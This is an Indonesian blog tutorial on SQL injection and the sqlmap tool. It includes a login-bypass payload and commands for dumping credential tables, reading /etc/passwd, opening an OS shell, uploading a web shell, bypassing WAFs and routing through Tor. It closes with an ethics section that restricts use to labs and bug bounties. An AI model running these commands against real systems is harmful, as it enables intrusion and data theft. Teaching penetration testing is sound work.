Apa itu SQLMap & Bagaimana Menggunakannya?

sqlmap adalah alat open-source otomatis yang dirancang untuk mendeteksi dan mengeksploitasi kerentanan SQL Injection (SQLi) di aplikasi web. Alat ini sangat populer dan digunakan luas oleh penetration tester, bug bounty hunter, red teamer, hingga pelajar di bidang keamanan siber karena kemampuannya yang canggih, fleksibel, dan mudah digunakan.

Dengan sqlmap, kamu bisa:

– Menemukan kerentanan SQLi

– Mengambil data dari database

– Menjalankan perintah sistem jika database mengizinkan (command execution)

– Upload/download file dari server target

– Dan masih banyak lagi

๐Ÿ” Apa itu SQL Injection?

SQL Injection (SQLi) adalah salah satu jenis serangan injeksi paling berbahaya dan umum dalam keamanan aplikasi web. Serangan ini terjadi saat input pengguna yang tidak difilter dengan benar dimasukkan langsung ke dalam kueri SQL. Jika input tersebut dimanipulasi dengan perintah SQL jahat, penyerang dapat mengubah perilaku kueri dan mendapatkan akses tidak sah ke data.

Contoh input berbahaya:

‘ OR 1=1 —

Jika input ini dimasukkan ke dalam form login atau URL, maka query akan selalu bernilai true, yang berarti penyerang bisa login tanpa mengetahui kredensial yang sah.

Contoh query setelah dimodifikasi:

SELECT * FROM users WHERE username = ” OR 1=1 –‘ AND password = ”

Hasilnya? Semua baris dari tabel `users` akan dikembalikan. Jika aplikasi tidak mengantisipasi ini, penyerang bisa login sebagai user pertama atau bahkan admin.

โš™๏ธ Fitur dan Fungsi sqlmap

Berikut fitur utama dari sqlmap:

โœ… Deteksi berbagai jenis SQL Injection:

– Boolean-based

– Error-based

– Time-based

– UNION query

– Out-of-band (OOB)

โœ… Mengenali jenis database:

– MySQL

– MSSQL

– PostgreSQL

– Oracle

– SQLite

– Firebird

– Sybase, dll

โœ… Dump dan eksplorasi data:

– Menampilkan daftar database

– Melihat tabel dalam database

– Melihat kolom dalam tabel

– Dump isi data dalam kolom

โœ… Eksekusi perintah OS (jika memungkinkan):

– Menjalankan command di shell target

– Upload/download file

– Membuka backdoor

โœ… Opsi lanjutan:

– Gunakan cookies/session

– Custom headers, body POST/PUT

– Proxy/Tor support

– Multi-threading

– Random User-Agent

– Crawling halaman target otomatis

๐Ÿš€ Cara Menggunakan sqlmap

๐Ÿ”ง 1. Persiapan

Di Kali Linux, sqlmap biasanya sudah terinstal. Cek dengan:

sqlmap -h

Jika belum terinstal, bisa download di [https://sqlmap.org](https://sqlmap.org), atau clone via Git:

git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

cd sqlmap-dev

python3 sqlmap.py -h

๐ŸŒ 2. Tes URL Target

Misalnya kamu ingin menguji:

http://target.com/page.php?id=1

Coba perintah dasar:

sqlmap -u “http://target.com/page.php?id=1” –batch

Keterangan:

– -u โ†’ URL target

– –batch โ†’ Menjawab semua prompt otomatis

๐Ÿ” 3. Melihat Database

Jika target rentan:

sqlmap -u “http://target.com/page.php?id=1” –dbs

Output:

– Daftar nama database yang digunakan

๐Ÿ“‚ 4. Melihat Tabel

Misal kamu tahu nama databasenya `db_users`, cek tabelnya:

sqlmap -u “http://target.com/page.php?id=1” -D db_users –tables

– -D โ†’ Menentukan database

๐Ÿ“‘ 5. Melihat Kolom

Misal nama tabelnya `accounts`, cek kolom:

sqlmap -u “http://target.com/page.php?id=1” -D db_users -T accounts –columns

– -T โ†’ Menentukan tabel

๐Ÿ“ฅ 6. Dump Data

Misal kamu ingin melihat `username` dan `password`:

sqlmap -u “http://target.com/page.php?id=1” -D db_users -T accounts -C username,password –dump

– -C โ†’ Menentukan kolom

– –dump โ†’ Mengambil datanya

๐Ÿง  7. Teknik Tambahan dan Profesional

๐Ÿ” Menggunakan Cookie (Session)

Jika target butuh login session:

sqlmap -u “http://target.com/page.php?id=1″ –cookie=”PHPSESSID=abcd1234” –batch

Gunakan tools seperti **Burp Suite** untuk mendapatkan cookie dari request login.

๐Ÿงช Testing POST Request

Jika parameter SQL berada di `POST` body:

sqlmap -u “http://target.com/login.php” –data=”username=admin&password=123″ –batch

๐ŸŒ Menyembunyikan IP (Proxy)

Jalankan sqlmap via proxy seperti Burp:

sqlmap -u “http://target.com/page.php?id=1″ –proxy=”http://127.0.0.1:8080”

๐Ÿง… Menyambung lewat TOR

Jika kamu install TOR, bisa lewat port 9050:

sqlmap -u “http://target.com/page.php?id=1” –tor –tor-type=SOCKS5 –check-tor

โšก Optimalisasi dan Tips Lanjutan

– –level=5 –risk=3 โ†’ Scan intensif (lebih banyak parameter & payload)

– –threads=5 โ†’ Jalankan beberapa thread paralel (lebih cepat)

– –random-agent โ†’ Gunakan User-Agent acak dari daftar sqlmap

– –crawl=1 โ†’ Otomatis cari dan eksplorasi link dari halaman awal

– –os-shell โ†’ Jika injection bisa jadi RCE, spawn shell interaktif

– –file-read=/etc/passwd โ†’ Baca file dari server (jika diizinkan)

– –file-write=./shell.php –file-dest=/var/www/html/shell.php โ†’ Upload file ke target

๐Ÿ“Œ Bypass WAF (Web Application Firewall)

Beberapa target menggunakan WAF untuk memblokir serangan SQL Injection. Sqlmap menyediakan opsi untuk membantu melewati perlindungan ini, seperti –tamper. Tamper script digunakan untuk memodifikasi payload agar terlihat berbeda di mata WAF namun tetap valid secara SQL. Contoh penggunaannya:

sqlmap -u “http://target.com/page.php?id=1” –tamper=space2comment –batch

Tamper script seperti space2comment, between, charunicodeencode, dan lainnya bisa kamu kombinasikan. Untuk mengetahui daftar lengkap, gunakan:

sqlmap –tamper

Namun, perlu dicatat bahwa bypassing WAF tidak selalu berhasil dan memerlukan eksperimen serta pemahaman tentang bagaimana WAF bekerja.

๐Ÿงช 8. Contoh Skenario Praktis

Kamu mendapat target:

http://vulnerable.site/profile.php?id=5

Langkah uji coba:

1. Cek apakah vulnerable:

sqlmap -u “http://vulnerable.site/profile.php?id=5” –batch

2. Dump database:

sqlmap -u “http://vulnerable.site/profile.php?id=5” –dbs

3. Lihat tabel di database `app_db`:

sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db –tables

4. Lihat kolom tabel `users`:

sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db -T users –columns

5. Dump `email` dan `password`:

sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db -T users -C email,password –dump

โš ๏ธ 9. Etika & Legalitas

PENTING BANGET:

Jangan pernah menggunakan sqlmap terhadap:

– Website publik yang bukan milikmu

– Sistem tanpa izin tertulis

– Layanan komersial yang tidak menyediakan bug bounty

Legalitas:

Melanggar bisa menyebabkan:

– Pemblokiran akun ISP

– Pelaporan ke polisi (UU ITE di Indonesia)

– Blacklist di komunitas keamanan siber

Gunakan hanya untuk:

– Lab pribadi (DVWA, BWAPP, WebGoat)

– Platform pelatihan legal (TryHackMe, Hack The Box)

– Program bug bounty resmi (HackerOne, Bugcrowd, dsb)

๐Ÿงฐ 10. Integrasi sqlmap dengan Tools Lain

Sqlmap bisa digunakan berdampingan dengan berbagai tools lain dalam workflow penetration testing. Misalnya, kamu bisa menggunakan Nmap untuk memetakan port dan layanan terlebih dahulu, kemudian mengidentifikasi aplikasi web yang berjalan di atasnya. Setelah itu, gunakan Burp Suite untuk memeriksa dan memanipulasi HTTP request, lalu ekspor request tersebut ke file dan menjalankannya dengan sqlmap menggunakan opsi -r. Ini memungkinkan kamu untuk menguji endpoint dengan payload SQLi secara presisi, termasuk parameter tersembunyi dalam body POST, header, atau bahkan JSON.

๐Ÿง  11. Belajar Lebih Lanjut

Sqlmap punya dokumentasi lengkap dan aktif di komunitas GitHub-nya. Jika kamu serius, luangkan waktu membaca dokumentasi dan mencoba semua opsi yang ada.

๐Ÿ“š Kesimpulan

sqlmap adalah tools yang sangat powerful untuk belajar, latihan, dan melakukan pengujian keamanan terhadap aplikasi web. Namun, kekuatan ini harus dibarengi dengan **etika dan legalitas**. Gunakan secara bertanggung jawab.

Cocok untuk:

– Pelajar Red Team

– Penetration Tester

– Bug Hunter

– Mahasiswa keamanan siber

Jika kamu serius ingin menjadi offensive security professional, kuasai dasar-dasar SQL dan pahami bagaimana aplikasi web berinteraksi dengan database. Selamat bereksperimen (di tempat yang legal)!

Penulis : rafly permana saputra ramadhan